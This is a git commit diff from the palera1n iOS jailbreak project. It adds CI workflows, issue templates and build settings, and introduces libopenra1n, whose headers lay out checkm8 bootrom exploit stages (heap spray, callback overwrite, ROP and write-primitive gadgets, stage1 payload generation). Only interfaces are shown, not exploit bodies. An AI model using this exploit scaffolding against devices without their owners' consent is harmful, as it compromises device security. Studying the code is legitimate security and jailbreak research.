chore(ci): exclude windows, update loader

libtvcontrol is not implemented

.editorconfig

@@ -0,0 +1,18 @@
+root = true
+
+[*]
+indent_style = space
+indent_size = 4
+end_of_line = lf
+charset = utf-8
+trim_trailing_whitespace = true
+insert_final_newline = true
+
+[Makefile]
+indent_style = tab
+indent_size = 4
+
+[*.{yml,yaml}]
+indent_style = space
+indent_size = 2
+

.github/ISSUE_TEMPLATE/config.yml

@@ -0,0 +1 @@
+blank_issues_enabled: false

.github/ISSUE_TEMPLATE/feature.yml

@@ -0,0 +1,20 @@
+name: Feature Request
+description: Request a feature in palera1n!
+labels: [enhancement]
+
+body:
+  - type: textarea
+    id: feature-request
+    attributes:
+      label: Feature Description
+      placeholder: I want ... to be added to palera1n, because ...
+    validations:
+      required: true
+
+  - type: textarea
+    id: detailed-description
+    attributes:
+      label: Start going into detail..
+      placeholder: I think it should also include ..., because of convenience.
+    validations:
+      required: false

.github/ISSUE_TEMPLATE/problem.yml

@@ -0,0 +1,57 @@
+name: Create Issue
+description: Ask help for palera1n regarding support or generally how it works!
+labels: [palera1n help]
+
+body:
+  - type: input
+    id: device
+    attributes:
+      label: Device
+      description: What is the device that you're using with palera1n? (iPhone, iPad, iPod Touch, appleTV, iBridge (T2))
+      placeholder: iPhone X
+    validations:
+      required: true
+
+  - type: input
+    id: version
+    attributes:
+      label: Version
+      description: What is version you're running? (i.e. iOS, iPadOS, tvOS, bridgeOS)
+      placeholder: iOS 15.6
+    validations:
+      required: true
+
+  - type: checkboxes
+    id: passcode-enabled
+    attributes:
+      label: Passcode?
+      description: Is your passcode enabled?
+      options:
+        - label: Passcode is enabled.
+          required: false
+
+  - type: textarea
+    id: detailed-description
+    attributes:
+      label: Start going into detail..
+      placeholder: My device couldn't boot jailbroken. I have checked ... using ..., none of the solutions I've been given are working for me. I don't know what to do.
+    validations:
+      required: true
+
+  - type: checkboxes
+    id: familiarity
+    attributes:
+      label: Familiarity with palera1n
+      description: Are you familiar with palera1n and how to use it?
+      options:
+        - label: I am familiar with palera1n and how to use it!
+          required: false
+
+  - type: checkboxes
+    id: familiarity-command-line
+    attributes:
+      label: Familiarity with CLI
+      description: Are you familiar with the command-line in anyway? (i.e. Terminal.app, Konsole)
+      options:
+        - label: I am familiar with the command-line!
+          required: false

.github/workflows/repo-upload.yml

@@ -0,0 +1,45 @@
+name: "Upload debs"
+
+on:
+  release:
+    types: [published]
+
+jobs:
+  upload:
+    runs-on: ubuntu-latest
+    steps:
+      - name: Download debs from release
+        env:
+          GH_TOKEN: ${{ github.token }}
+        run: |
+          gh release download "${{ github.event.release.tag_name }}" \
+            --pattern "palera1n-iphoneos-arm64.deb" \
+            --pattern "palera1n-iphoneos-arm.deb"
+
+          if [ ! -f "palera1n-iphoneos-arm64.deb" ] || [ ! -f "palera1n-iphoneos-arm.deb" ]; then
+            echo "Debs not found :/"
+            exit 1
+          fi
+
+      - name: Upload debs to repo
+        if: github.repository == 'palera1n/palera1n'
+        env:
+          USERNAME: GitHub-Actions
+          API_TOKEN: ${{ secrets.BUILD_GITHUB_TOKEN }}
+          GH_REPO: palera1n/repo.palera.in
+        run: |
+          git clone https://$USERNAME:[email protected]/$GH_REPO.git upload
+
+          ARM64_HASH=$(sha256sum palera1n-iphoneos-arm64.deb | cut -c1-8)
+          ARM_HASH=$(sha256sum palera1n-iphoneos-arm.deb | cut -c1-8)
+          cp palera1n-iphoneos-arm64.deb upload/pool/iphoneos-arm64/palera1n_${{ github.event.release.tag_name }}_${ARM64_HASH}_iphoneos-arm64.deb
+          cp palera1n-iphoneos-arm.deb upload/pool/iphoneos-arm/palera1n_${{ github.event.release.tag_name }}_${ARM_HASH}_iphoneos-arm.deb
+
+          cd upload
+
+          git config user.name "github-actions[bot]"
+          git config user.email "[email protected]"
+
+          git add .
+          git commit -m "Update palera1n for ${{ github.event.release.tag_name }}" || exit 0
+          git push https://$USERNAME:[email protected]/$GH_REPO.git

.github/workflows/script.yml

@@ -0,0 +1,33 @@
+name: "Upload install script"
+
+on:
+  workflow_dispatch:
+  push:
+    branches:
+      - main
+    paths:
+      - ".github/workflows/script.yml"
+      - "install.sh"
+
+jobs:
+  upload:
+    runs-on: ubuntu-latest
+    steps:
+      - uses: actions/checkout@v4
+
+      - name: Move
+        run: |
+          mkdir -p dist
+          cp install.sh dist/
+
+      - name: Upload artifact
+        uses: wangyucode/sftp-upload-action@v3
+        with:
+          host: ${{ secrets.NICKCHAN_FTP_HOST }}
+          port: ${{ secrets.NICKCHAN_FTP_PORT }}
+          username: palera1n
+          password: ${{ secrets.NICKCHAN_FTP_PASS }}
+          forceUpload: true
+          dryRun: false
+          localDir: 'dist/'
+          remoteDir: '/www/static.palera.in/scripts'

.gitignore

@@ -1,28 +1,20 @@
-contrib/**
-dep_root/**
-!dep_root/.keep
-!contrib/.keep
-contrib/
-*.o
-.vscode
-checkra1n*
-payload.c
-src/palera1n
-src/palera1n.exe
-!xxd-embedded.h
-src/binpack.dmg
-src/ramdisk.dmg
-src/xxd-*.c
+build/
+dist/
 .DS_Store
-!palera1n.1
-palera1n.1.html
-Payload
+
+gen/
 docs/*.html
-build
-src/*.dmg.c
-.idea
-src/stage2/
-src/libcheckra1nhelper.dylib*
-payloads/Pongo.bin
-src/*.dSYM
-include/payloads
+embedded/Pongo.bin
+embedded/checkra1n-kpf-pongo
+embedded/ramdisk.dmg
+embedded/binpack.dmg
+
+apple-include-*
+libusbK/
+libusbK-tmp/
+
+*.7z
+*.tgz
+*.tar.gz
+*.lzma
+*-cross

.gitmodules

@@ -0,0 +1,3 @@
+[submodule "1stparty/libciderra1n"]
+	path = 1stparty/libciderra1n
+	url = https://github.com/kok3shidoll/libciderra1n.git

.vscode/settings.json

@@ -0,0 +1,6 @@
+{
+  "cmake.loadCompileCommands": true,
+  "cmake.configureOnOpen": true,
+  "cmake.buildDirectory": "${workspaceFolder}/build",
+  "cmake.copyCompileCommands": "${workspaceFolder}/build/compile_commands.json",
+}

1stparty/libopenra1n/LICENSE

@@ -0,0 +1,201 @@
+                                 Apache License
+                           Version 2.0, January 2004
+                        http://www.apache.org/licenses/
+
+   TERMS AND CONDITIONS FOR USE, REPRODUCTION, AND DISTRIBUTION
+
+   1. Definitions.
+
+      "License" shall mean the terms and conditions for use, reproduction,
+      and distribution as defined by Sections 1 through 9 of this document.
+
+      "Licensor" shall mean the copyright owner or entity authorized by
+      the copyright owner that is granting the License.
+
+      "Legal Entity" shall mean the union of the acting entity and all
+      other entities that control, are controlled by, or are under common
+      control with that entity. For the purposes of this definition,
+      "control" means (i) the power, direct or indirect, to cause the
+      direction or management of such entity, whether by contract or
+      otherwise, or (ii) ownership of fifty percent (50%) or more of the
+      outstanding shares, or (iii) beneficial ownership of such entity.
+
+      "You" (or "Your") shall mean an individual or Legal Entity
+      exercising permissions granted by this License.
+
+      "Source" form shall mean the preferred form for making modifications,
+      including but not limited to software source code, documentation
+      source, and configuration files.
+
+      "Object" form shall mean any form resulting from mechanical
+      transformation or translation of a Source form, including but
+      not limited to compiled object code, generated documentation,
+      and conversions to other media types.
+
+      "Work" shall mean the work of authorship, whether in Source or
+      Object form, made available under the License, as indicated by a
+      copyright notice that is included in or attached to the work
+      (an example is provided in the Appendix below).
+
+      "Derivative Works" shall mean any work, whether in Source or Object
+      form, that is based on (or derived from) the Work and for which the
+      editorial revisions, annotations, elaborations, or other modifications
+      represent, as a whole, an original work of authorship. For the purposes
+      of this License, Derivative Works shall not include works that remain
+      separable from, or merely link (or bind by name) to the interfaces of,
+      the Work and Derivative Works thereof.
+
+      "Contribution" shall mean any work of authorship, including
+      the original version of the Work and any modifications or additions
+      to that Work or Derivative Works thereof, that is intentionally
+      submitted to Licensor for inclusion in the Work by the copyright owner
+      or by an individual or Legal Entity authorized to submit on behalf of
+      the copyright owner. For the purposes of this definition, "submitted"
+      means any form of electronic, verbal, or written communication sent
+      to the Licensor or its representatives, including but not limited to
+      communication on electronic mailing lists, source code control systems,
+      and issue tracking systems that are managed by, or on behalf of, the
+      Licensor for the purpose of discussing and improving the Work, but
+      excluding communication that is conspicuously marked or otherwise
+      designated in writing by the copyright owner as "Not a Contribution."
+
+      "Contributor" shall mean Licensor and any individual or Legal Entity
+      on behalf of whom a Contribution has been received by Licensor and
+      subsequently incorporated within the Work.
+
+   2. Grant of Copyright License. Subject to the terms and conditions of
+      this License, each Contributor hereby grants to You a perpetual,
+      worldwide, non-exclusive, no-charge, royalty-free, irrevocable
+      copyright license to reproduce, prepare Derivative Works of,
+      publicly display, publicly perform, sublicense, and distribute the
+      Work and such Derivative Works in Source or Object form.
+
+   3. Grant of Patent License. Subject to the terms and conditions of
+      this License, each Contributor hereby grants to You a perpetual,
+      worldwide, non-exclusive, no-charge, royalty-free, irrevocable
+      (except as stated in this section) patent license to make, have made,
+      use, offer to sell, sell, import, and otherwise transfer the Work,
+      where such license applies only to those patent claims licensable
+      by such Contributor that are necessarily infringed by their
+      Contribution(s) alone or by combination of their Contribution(s)
+      with the Work to which such Contribution(s) was submitted. If You
+      institute patent litigation against any entity (including a
+      cross-claim or counterclaim in a lawsuit) alleging that the Work
+      or a Contribution incorporated within the Work constitutes direct
+      or contributory patent infringement, then any patent licenses
+      granted to You under this License for that Work shall terminate
+      as of the date such litigation is filed.
+
+   4. Redistribution. You may reproduce and distribute copies of the
+      Work or Derivative Works thereof in any medium, with or without
+      modifications, and in Source or Object form, provided that You
+      meet the following conditions:
+
+      (a) You must give any other recipients of the Work or
+          Derivative Works a copy of this License; and
+
+      (b) You must cause any modified files to carry prominent notices
+          stating that You changed the files; and
+
+      (c) You must retain, in the Source form of any Derivative Works
+          that You distribute, all copyright, patent, trademark, and
+          attribution notices from the Source form of the Work,
+          excluding those notices that do not pertain to any part of
+          the Derivative Works; and
+
+      (d) If the Work includes a "NOTICE" text file as part of its
+          distribution, then any Derivative Works that You distribute must
+          include a readable copy of the attribution notices contained
+          within such NOTICE file, excluding those notices that do not
+          pertain to any part of the Derivative Works, in at least one
+          of the following places: within a NOTICE text file distributed
+          as part of the Derivative Works; within the Source form or
+          documentation, if provided along with the Derivative Works; or,
+          within a display generated by the Derivative Works, if and
+          wherever such third-party notices normally appear. The contents
+          of the NOTICE file are for informational purposes only and
+          do not modify the License. You may add Your own attribution
+          notices within Derivative Works that You distribute, alongside
+          or as an addendum to the NOTICE text from the Work, provided
+          that such additional attribution notices cannot be construed
+          as modifying the License.
+
+      You may add Your own copyright statement to Your modifications and
+      may provide additional or different license terms and conditions
+      for use, reproduction, or distribution of Your modifications, or
+      for any such Derivative Works as a whole, provided Your use,
+      reproduction, and distribution of the Work otherwise complies with
+      the conditions stated in this License.
+
+   5. Submission of Contributions. Unless You explicitly state otherwise,
+      any Contribution intentionally submitted for inclusion in the Work
+      by You to the Licensor shall be under the terms and conditions of
+      this License, without any additional terms or conditions.
+      Notwithstanding the above, nothing herein shall supersede or modify
+      the terms of any separate license agreement you may have executed
+      with Licensor regarding such Contributions.
+
+   6. Trademarks. This License does not grant permission to use the trade
+      names, trademarks, service marks, or product names of the Licensor,
+      except as required for reasonable and customary use in describing the
+      origin of the Work and reproducing the content of the NOTICE file.
+
+   7. Disclaimer of Warranty. Unless required by applicable law or
+      agreed to in writing, Licensor provides the Work (and each
+      Contributor provides its Contributions) on an "AS IS" BASIS,
+      WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or
+      implied, including, without limitation, any warranties or conditions
+      of TITLE, NON-INFRINGEMENT, MERCHANTABILITY, or FITNESS FOR A
+      PARTICULAR PURPOSE. You are solely responsible for determining the
+      appropriateness of using or redistributing the Work and assume any
+      risks associated with Your exercise of permissions under this License.
+
+   8. Limitation of Liability. In no event and under no legal theory,
+      whether in tort (including negligence), contract, or otherwise,
+      unless required by applicable law (such as deliberate and grossly
+      negligent acts) or agreed to in writing, shall any Contributor be
+      liable to You for damages, including any direct, indirect, special,
+      incidental, or consequential damages of any character arising as a
+      result of this License or out of the use or inability to use the
+      Work (including but not limited to damages for loss of goodwill,
+      work stoppage, computer failure or malfunction, or any and all
+      other commercial damages or losses), even if such Contributor
+      has been advised of the possibility of such damages.
+
+   9. Accepting Warranty or Additional Liability. While redistributing
+      the Work or Derivative Works thereof, You may choose to offer,
+      and charge a fee for, acceptance of support, warranty, indemnity,
+      or other liability obligations and/or rights consistent with this
+      License. However, in accepting such obligations, You may act only
+      on Your own behalf and on Your sole responsibility, not on behalf
+      of any other Contributor, and only if You agree to indemnify,
+      defend, and hold each Contributor harmless for any liability
+      incurred by, or claims asserted against, such Contributor by reason
+      of your accepting any such warranty or additional liability.
+
+   END OF TERMS AND CONDITIONS
+
+   APPENDIX: How to apply the Apache License to your work.
+
+      To apply the Apache License to your work, attach the following
+      boilerplate notice, with the fields enclosed by brackets "[]"
+      replaced with your own identifying information. (Don't include
+      the brackets!)  The text should be enclosed in the appropriate
+      comment syntax for the file format. We also recommend that a
+      file or class name and description of purpose be included on the
+      same "printed page" as the copyright notice for easier
+      identification within third-party archives.
+
+   Copyright [yyyy] [name of copyright owner]
+
+   Licensed under the Apache License, Version 2.0 (the "License");
+   you may not use this file except in compliance with the License.
+   You may obtain a copy of the License at
+
+       http://www.apache.org/licenses/LICENSE-2.0
+
+   Unless required by applicable law or agreed to in writing, software
+   distributed under the License is distributed on an "AS IS" BASIS,
+   WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+   See the License for the specific language governing permissions and
+   limitations under the License.

1stparty/libopenra1n/Makefile

@@ -0,0 +1,65 @@
+RM       ?= rm
+MKDIR    ?= mkdir
+CP       ?= cp
+CC			?= cc
+AR			?= ar
+ARFLAGS		?= rcs
+XXD			?= xxd
+SED			?= sed
+
+BUILD		:= build
+SRC			:= src
+INCLUDE		:= include
+
+OBJDIR		= $(SRC)/build
+LIBDIR		:= $(BUILD)/lib
+INCDIR		:= $(BUILD)/include
+
+NAME		:= openra1n
+LIBNAME		:= lib$(NAME).a
+
+CFLAGS		+= -I$(INCLUDE) -I$(SRC) -I$(SRC)/gen
+
+SRCS		:= $(shell find $(SRC) -name '*.c')
+OBJS		:= $(patsubst $(SRC)/%.c,$(OBJDIR)/%.o,$(SRCS))
+
+.PHONY: all payloads library headers clean
+
+all: payloads library headers
+
+payloads:
+	$(MKDIR) -p $(INCLUDE)/gen/payloads
+
+	@for file in payloads/*; do \
+		name=$$(basename "$$file"); \
+		name=$${name%.*}; \
+		echo " XXD    $$file"; \
+		echo "#pragma once" > "$(INCLUDE)/gen/payloads/$$name.h"; \
+		$(XXD) -i "$$file" \
+			| $(SED) 's/unsigned char/static const unsigned char/g' \
+			| $(SED) 's/unsigned int/static const size_t/g' \
+			>> "$(INCLUDE)/gen/payloads/$$name.h"; \
+	done
+
+$(OBJDIR)/%.o: $(SRC)/%.c
+	@$(MKDIR) -p $(dir $@)
+	$(CC) $(CFLAGS) -c $< -o $@
+
+library: $(OBJS)
+	$(MKDIR) -p $(LIBDIR)/${NAME}
+	$(AR) $(ARFLAGS) $(LIBDIR)/${NAME}/$(LIBNAME) $(OBJS)
+
+headers:
+	$(MKDIR) -p $(INCDIR)/${NAME}
+	$(CP) $(INCLUDE)/checkm8.h \
+		$(INCLUDE)/shim.h \
+		$(INCLUDE)/usb_iokit.h \
+		$(INCLUDE)/usb_libusb.h \
+		$(INCLUDE)/dfu.h \
+		$(INCLUDE)/payload.h \
+		$(INCLUDE)/utils.h \
+		$(INCDIR)/${NAME}/
+
+clean:
+	$(RM) -rf $(BUILD)
+	$(RM) -rf $(SRC)/$(BUILD)

1stparty/libopenra1n/NOTICE

@@ -0,0 +1,19 @@
+Gaster
+Copyright (c) 2023 0x7ff
+
+Openra1n
+Copyright (c) 2024 Mineek.
+
+Gaster was modified by Mineek to include support for booting PongoOS
+payloads, by sending the device into download mode with extracted
+stage2 payloads from Checkra1n.
+
+libOpenra1n
+Copyright (c) 2026 palera1n team
+
+Openra1n was modified into a importable library for use in palera1n,
+(libOpenra1n) along side another checkm8 backend (closed source).
+
+Many changes included are mainly for overall better practices and
+readability, like better error handling. Other changes include
+more verbose logging, fixes for libusb/iokit, and a ROP generator.

1stparty/libopenra1n/README.md

@@ -0,0 +1,7 @@
+# openra1n
+custom pongoOS booter for checkra1n 1337
+
+## Attributions
+- [gaster](https://github.com/0x7ff/gaster) - base of the project
+- [checkra1n](https://checkra.in/) - yeah, do i really need to explain this one?
+- [ra1npoc15](https://github.com/kok3shidoll/ra1npoc) - payloads

1stparty/libopenra1n/include/checkm8.h

@@ -0,0 +1,63 @@
+/*
+ * palera1n - https://palera.in
+ *
+ * Copyright (c) 2026 palera1n team
+ *
+ * SPDX-License-Identifier: Apache-2.0
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+#ifndef LIBOPENRA1N__CHECKM8_H
+#define LIBOPENRA1N__CHECKM8_H
+
+#include <stdbool.h>
+
+#include "payload.h"
+#include "shim.h"
+
+#define EP0_MAX_PACKET_SZ (0x40)
+#define USB_MAX_STRING_DESCRIPTOR_IDX (10)
+
+#ifndef MIN
+# define MIN(a, b) ((a) < (b) ? (a) : (b))
+#endif
+
+typedef enum {
+    CHECKM8_ERR_NONE = 0,
+    CHECKM8_ERR_UNSUPPORTED = 1,
+    CHECKM8_ERR_TRANSFER_FAILED = 3,
+    CHECKM8_ERR_TIMEOUT = 4,
+    CHECKM8_ERR_ABORT = 5,
+    CHECKM8_ERR_INVALID_PAYLOAD = 15,
+
+    CHECKM8_ERR_UNDEFINED = 255,
+} checkm8_err_t;
+
+#ifdef __cplusplus
+extern "C" {
+#endif
+
+char *get_usb_serial_number(usb_handle_t *handle);
+checkm8_err_t checkm8_stage_reset(const usb_handle_t *handle);
+checkm8_err_t checkm8_stage_setup(const usb_handle_t *handle, struct DeviceConfiguration *deviceConfig);
+checkm8_err_t checkm8_stage_spray(const usb_handle_t *handle, struct DeviceConfiguration *deviceConfig);
+checkm8_err_t checkm8_stage_patch(const usb_handle_t *handle, struct DeviceConfiguration *deviceConfig, struct PayloadConfiguration *payloadConfig);
+bool prepare_pongo(uint8_t **out, size_t *out_len, const uint8_t *pongo_bin, size_t pongo_bin_len);
+checkm8_err_t checkm8_boot_pongo(usb_handle_t *handle, const uint8_t *pongo_bin, size_t pongo_bin_len);
+
+#ifdef __cplusplus
+}
+#endif
+
+#endif // LIBOPENRA1N__CHECKM8_H

1stparty/libopenra1n/include/dfu.h

@@ -0,0 +1,56 @@
+/*
+ * palera1n - https://palera.in
+ *
+ * Copyright (c) 2026 palera1n team
+ *
+ * SPDX-License-Identifier: Apache-2.0
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+#ifndef LIBOPENRA1N__DFU_H
+#define LIBOPENRA1N__DFU_H
+
+#include <stdint.h>
+#include <stdbool.h>
+
+#define DFU_DNLOAD 1
+#define DFU_UPLOAD 2
+#define DFU_GET_STATUS 3
+#define DFU_CLR_STATUS 4
+#define DFU_GETSTATE 5
+#define DFU_ABORT 6
+
+#define DFU_FILE_SUFFIX_LEN 16
+#define EP0_MAX_PACKET_SIZE 0x40
+#define DFU_MAX_TRANSFER_SZ 0x800
+#define DFU_STATUS_OK 0
+#define DFU_STATE_MANIFEST_SYNC 6
+#define DFU_STATE_MANIFEST 7
+#define DFU_STATE_MANIFEST_WAIT_RESET 8
+
+#ifdef __cplusplus
+extern "C" {
+#endif
+
+uint16_t dfu_serial_number_get_cpid(char *serial);
+bool dfu_serial_number_is_in_dfu_mode(char *serial);
+bool dfu_serial_number_is_pwned(char *serial);
+bool dfu_serial_number_is_in_yolo_dfu(char *serial);
+bool device_serial_number_is_in_pongo_os(char *serial);
+
+#ifdef __cplusplus
+}
+#endif
+
+#endif // LIBOPENRA1N__DFU_H

1stparty/libopenra1n/include/payload.h

@@ -0,0 +1,75 @@
+/*
+ * palera1n - https://palera.in
+ *
+ * Copyright (c) 2026 palera1n team
+ *
+ * SPDX-License-Identifier: Apache-2.0
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+#ifndef LIBOPENRA1N__PAYLOAD_H
+#define LIBOPENRA1N__PAYLOAD_H
+
+#include <stdbool.h>
+#include <stdint.h>
+#include <stddef.h>
+
+#define A8      0x7000
+#define A8X     0x7001
+#define S1      0x7002
+#define A9      0x8000
+#define A9X     0x8001
+#define A9_TSMC 0x8003
+#define A10     0x8010
+#define A10X    0x8011
+#define T2      0x8012
+#define A11     0x8015
+
+struct DeviceConfiguration {
+    uint16_t cpid;
+    size_t
+    config_hole,
+    config_large_leak,
+    config_overwrite_pad;
+};
+
+struct PayloadConfiguration {
+    uint64_t
+    insecure_memory_base,
+    func_gadget,
+    write_prim,
+    write_prim2,
+    arm_clean_invalidate_dcache_line,
+    arm_invalidate_icache,
+    enter_critical_section,
+    exit_critical_section,
+    write_ttbr0,
+    tlbi,
+    TTBR0_PATCH_BASE,
+    TTBR0_BASE,
+    bootstrap_task_lr,
+    payload_start_offset;
+};
+
+typedef struct {
+    uint16_t cpid;
+    const uint8_t *data;
+    size_t len;
+} yolo_payload_t;
+
+bool checkm8_find_device_configuration_for_cpid(uint16_t cpid, struct DeviceConfiguration *config);
+bool checkm8_find_payload_configuration_for_cpid(uint16_t cpid, struct PayloadConfiguration *config);
+bool create_pongo_payload_for_device(uint16_t cpid, const uint8_t **payload, size_t *payloadSize);
+
+#endif // LIBOPENRA1N__PAYLOAD_H

1stparty/libopenra1n/include/shim.h

@@ -0,0 +1,35 @@
+/*
+ * palera1n - https://palera.in
+ *
+ * Copyright (C) 2023 0x7ff
+ * Copyright (C) 2023 Mineek
+ * Copyright (c) 2026 palera1n team
+ *
+ * SPDX-License-Identifier: Apache-2.0
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+#ifndef LIBOPENRA1N__BACKEND_SHIM_H
+#define LIBOPENRA1N__BACKEND_SHIM_H
+
+#ifdef __APPLE__
+# include "usb_iokit.h"
+#else
+# include "usb_libusb.h"
+#endif
+
+transfer_ret_t send_usb_control_request_no_data(const usb_handle_t *handle, uint8_t bm_request_type, uint8_t b_request, uint16_t w_value, uint16_t w_index, size_t w_len);
+transfer_ret_t send_usb_control_request_async_no_data(const usb_handle_t *handle, uint8_t bm_request_type, uint8_t b_request, uint16_t w_value, uint16_t w_index, size_t w_len, unsigned usb_abort_timeout);
+
+#endif // LIBOPENRA1N__BACKEND_SHIM_H

1stparty/libopenra1n/include/stage1.h

@@ -0,0 +1,58 @@
+/*
+ * palera1n - https://palera.in
+ *
+ * Copyright (C) 2026 palera1n team
+ *
+ * SPDX-License-Identifier: MIT
+ *
+ * Permission is hereby granted, free of charge, to any person obtaining a copy
+ * of this software and associated documentation files (the "Software"), to deal
+ * in the Software without restriction, including without limitation the rights
+ * to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
+ * copies of the Software, and to permit persons to whom the Software is
+ * furnished to do so, subject to the following conditions:
+ *
+ * The above copyright notice and this permission notice shall be included in all
+ * copies or substantial portions of the Software.
+ *
+ * THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
+ * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
+ * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
+ * AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
+ * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
+ * OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
+ * SOFTWARE.
+ *
+ */
+
+#ifndef LIBOPENRA1N__STAGE1_H
+#define LIBOPENRA1N__STAGE1_H
+
+#include <stdint.h>
+#include <stdbool.h>
+
+#include <payload.h>
+
+typedef struct
+{
+    uint32_t endpoint, pad_0;
+    uint64_t io_buffer;
+    uint32_t status, io_len, ret_cnt, pad_1;
+    uint64_t callback, next;
+} dfu_callback_t;
+
+typedef struct
+{
+    dfu_callback_t callback;
+} checkm8_overwrite_t;
+
+bool generate_stage1(
+    void** outbuf,
+    size_t* outlen,
+    void* payload,
+    size_t payload_sz,
+    struct DeviceConfiguration *deviceConfig,
+    struct PayloadConfiguration *payloadConfig
+);
+
+#endif // LIBOPENRA1N__STAGE1_H

1stparty/libopenra1n/include/usb_iokit.h

@@ -0,0 +1,93 @@
+/*
+ * palera1n - https://palera.in
+ *
+ * Copyright (C) 2023 0x7ff
+ * Copyright (C) 2023 Mineek
+ * Copyright (c) 2026 palera1n team
+ *
+ * SPDX-License-Identifier: Apache-2.0
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+#ifdef __APPLE__
+
+#ifndef LIBOPENRA1N__IOKIT_BACKEND_H
+#define LIBOPENRA1N__IOKIT_BACKEND_H
+
+#include <stdbool.h>
+
+#include <IOKit/IOCFPlugIn.h>
+#include <IOKit/usb/IOUSBLib.h>
+
+#define USB_TIMEOUT (5)
+
+#if TARGET_OS_IPHONE
+# define kUSBPipeStalled kUSBHostReturnPipeStalled
+#else
+# define kUSBPipeStalled kIOUSBPipeStalled
+#endif
+
+#if TARGET_OS_IPHONE
+# define kUSBDeviceClassName "IOUSBHostDevice"
+#else
+# define kUSBDeviceClassName kIOUSBDeviceClassName
+#endif
+
+enum usb_transfer {
+    USB_TRANSFER_OK,
+    USB_TRANSFER_ERROR,
+    USB_TRANSFER_STALL,
+};
+
+typedef struct {
+    enum usb_transfer ret;
+    uint32_t sz;
+} transfer_ret_t;
+
+typedef void (*usb_hotplug_callback_t)(
+    io_service_t service,
+    bool connected,
+    void *user
+);
+
+typedef struct {
+    uint16_t vid, pid;
+    io_service_t serv;
+    IOUSBDeviceInterface320 **device;
+    IOUSBInterfaceInterface245 **interface;
+    CFRunLoopSourceRef async_event_source;
+} usb_handle_t;
+
+#ifdef __cplusplus
+extern "C" {
+#endif
+
+bool query_usb_interface(io_service_t serv, CFUUIDRef plugin_type, CFUUIDRef interface_type, LPVOID *interface);
+void close_usb_handle(usb_handle_t *handle);
+bool open_usb_device(io_service_t serv, usb_handle_t *handle);
+bool wait_usb_handle(usb_handle_t *handle);
+void reset_usb_handle(usb_handle_t *handle);
+transfer_ret_t send_usb_control_request(const usb_handle_t *handle, uint8_t bm_request_type, uint8_t b_request, uint16_t w_value, uint16_t w_index, void *p_data, size_t w_len);
+transfer_ret_t send_usb_control_request_async(const usb_handle_t *handle, uint8_t bm_request_type, uint8_t b_request, uint16_t w_value, uint16_t w_index, void *p_data, size_t w_len, unsigned usb_abort_timeout);
+transfer_ret_t send_interface_control_request(const usb_handle_t *handle, uint8_t bm_request_type, uint8_t b_request, uint16_t w_value, uint16_t w_index, void *p_data, size_t w_len);
+transfer_ret_t send_interface_bulk_transfer(const usb_handle_t *handle, void *data, uint32_t len);
+void init_usb_handle(usb_handle_t *handle, uint16_t vid, uint16_t pid);
+
+#ifdef __cplusplus
+}
+#endif
+
+#endif // LIBOPENRA1N__IOKIT_BACKEND_H
+
+#endif // __APPLE__

1stparty/libopenra1n/include/usb_libusb.h

@@ -0,0 +1,61 @@
+/*
+ * palera1n - https://palera.in
+ *
+ * Copyright (C) 2023 0x7ff
+ * Copyright (C) 2023 Mineek
+ * Copyright (c) 2026 palera1n team
+ *
+ * SPDX-License-Identifier: Apache-2.0
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
